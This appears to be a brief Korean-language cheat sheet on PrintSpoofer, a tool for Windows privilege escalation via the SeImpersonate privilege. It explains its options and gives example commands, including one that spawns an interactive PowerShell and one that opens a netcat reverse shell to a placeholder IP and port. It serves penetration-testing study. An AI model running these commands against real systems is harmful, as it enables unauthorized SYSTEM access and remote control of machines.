[Windows LPE] PrintSpoofer

PrintSpoofer?

---

• SeImpersonate 권한이 있는 상황에서 LPE를 수행해주는 도구

 

https://github.com/itm4n/PrintSpoofer

GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"

 

 

CheetSheet

---

# -c : 실행할 명령
# -i : -c를 통해 실행한 프로세스와 interactive (기본적으론 non-interactive)
## cmd, powershell을 실행시킬 경우 상호작용을 해야하므로 -i 옵션을 주고 
## nc reverse shell 같이 상호작용이 필요없는 동작을 할 시는 안줘도 된다.
> PrintSpoofer.exe -c [command]

# ex
> PrintSpoofer.exe -i -c powershell.exe
> PrintSpoofer.exe -c "nc.exe [ip] [port] -e cmd.exe"